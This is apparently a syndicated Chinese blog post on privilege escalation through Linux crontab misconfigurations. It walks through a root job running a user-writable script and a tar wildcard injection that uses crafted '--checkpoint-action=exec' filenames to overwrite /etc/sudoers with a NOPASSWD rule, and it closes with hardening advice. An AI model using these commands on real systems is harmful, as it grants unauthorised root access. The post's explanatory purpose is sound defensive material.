Quantcast
Channel: 容器云计算,Devops,DBA,网络安全。
Viewing all articles
Browse latest Browse all 780

Linux crontab提权攻击

$
0
0

Linux crontab提权攻击

crontab定时任务是LINUX上最常用的一个功能,不过使用不当很容易受到提权。使用crontab时请注意以下两点:

  • crontab任务千万不要写到/etc/crontab文件里,这是很危险的。通过crontab -e去创建,让他写到默认的/var/spool/cron下;
  • 能不用 root 去创建尽量不用,如果一定要用root,请保存到一个其他用户进不去、改不了、看不了的位置(最好能用chattr处理下)。

为什么有这样的警告,请看下面的示例。

一、位置不当引发的提权

假设当前我们用 root 用户创建了如下一个任务:

*/2 * * * *  root sh /home/elk/test.sh

具体内容如下:

echo  www.361way.com > /tmp/test

/home/elk/test.sh文件的权限我们设置为600,属主和属组都设为root,感觉上应该还挺安全的吧,实际呢?看下图:

cron-sec

root并且为600权限,看起来确实不错,我们切换到elk用户时,使用echo确实发现无法正常写入(chown和chmod也不会成功的)。但由于文件存放的位置在elk的家目录下,所以elk用户实际上是有修改文件的权限的。使用vim编辑文件时,实际是可以强制修改的,而且修改后文件的属主也会变掉,当然也可以使用上面截图里的方法,mv走以后,再新建一个,内容是什么就随便你自己写了。而上面的哪段sudo的话应该也不用解释了吧。

二、tar备份引发的提权

比如我们在/etc/crontab下创建一个定时备份的任务,类似如下,这种情况是我们经常遇到的吧:

10  02  * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

当然,便于测试,我们可以把这个crontab任务的执行时间改快点,比如1分钟执行一次,为了便于演示这个效果,我这里就以直接执行的方式操作了:

[root@localhost data]# wc -l /etc/sudoers && cp /etc/sudoers /etc/sudoers.bak
113 /etc/sudoers
[root@localhost data]# su - zabbix
[zabbix@localhost ~]$ cd /data && ls -l
total 4
-rw-r--r-- 1 root root 84 Dec 29 17:50 demo.c
[zabbix@localhost data]$ echo 'echo "zabbix ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
[zabbix@localhost data]$ echo "" > "--checkpoint-action=exec=sh test.sh"
[zabbix@localhost data]$ echo "" > --checkpoint=1
[zabbix@localhost data]$ ll
total 16
-rw-rw-r-- 1 zabbix zabbix  1 Dec 29 17:54 --checkpoint=1
-rw-rw-r-- 1 zabbix zabbix  1 Dec 29 17:54 --checkpoint-action=exec=sh test.sh
-rw-r--r-- 1 root   root   84 Dec 29 17:50 demo.c
-rw-rw-r-- 1 zabbix zabbix 54 Dec 29 17:54 test.sh

tar-privilege

当然,这个执行成功的条件稍微要求有些苛刻。但还是存在这种可能,而且一些人会把备份内容写成脚本,在脚本里也未必不是这种用法。而使用tar时为什么出现这种情况,让我们看下tar的checkpoint相关参数:

--checkpoint[=NUMBER]
      display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
      execute ACTION on each checkpoint

而上面的例子中我们创建了相关的文件,实际在执行过程中,由于我们将checkpoint值设为1,即每个文件执行一次action动作,其就将文件当成了参数,执行了sh test.sh的动作,而由于我们的crontab任务是以root权限运行的。所以test.sh里的内容都会以root权限执行。

另外这个示例中被利用的另一个条件就是crontab任务写到了/etc/crontab中,这个文件是所有用户都有读的权限的,这就会让普通用户能看到root用户执行的内容。而如果直接是crontab -e命令执行的呢,则不存在这个问题,因为crontab -e执行的结果是保存在/var/spool/cron下的,而这个目录下普通用户是没有权限查看的,如下:

[zabbix@localhost ~]$ ls -l /var/spool/cron
ls: cannot open directory /var/spool/cron: Permission denied

cron目录对的是root用户root组,其权限是700。


Viewing all articles
Browse latest Browse all 780

Trending Articles


Vimeo 10.7.1 by Vimeo.com, Inc.


UPDATE SC IDOL: TWO BECOME ONE


KASAMBAHAY BILL IN THE HOUSE


Girasoles para colorear


Presence Quotes – Positive Quotes


EASY COME, EASY GO


Love with Heart Breaking Quotes


Re:Mutton Pies (lleechef)


Ka longiing longsem kaba skhem bad kaba khlain ka pynlong kein ia ka...


Vimeo 10.7.0 by Vimeo.com, Inc.


FORECLOSURE OF REAL ESTATE MORTGAGE


FORTUITOUS EVENT


Pokemon para colorear


Sapos para colorear


Smile Quotes


Letting Go Quotes


Love Song lyrics that marks your Heart


RE: Mutton Pies (frankie241)


Hato lada ym dei namar ka jingpyrshah jong U JJM Nichols Roy (Bah Joy) ngin...


Long Distance Relationship Tagalog Love Quotes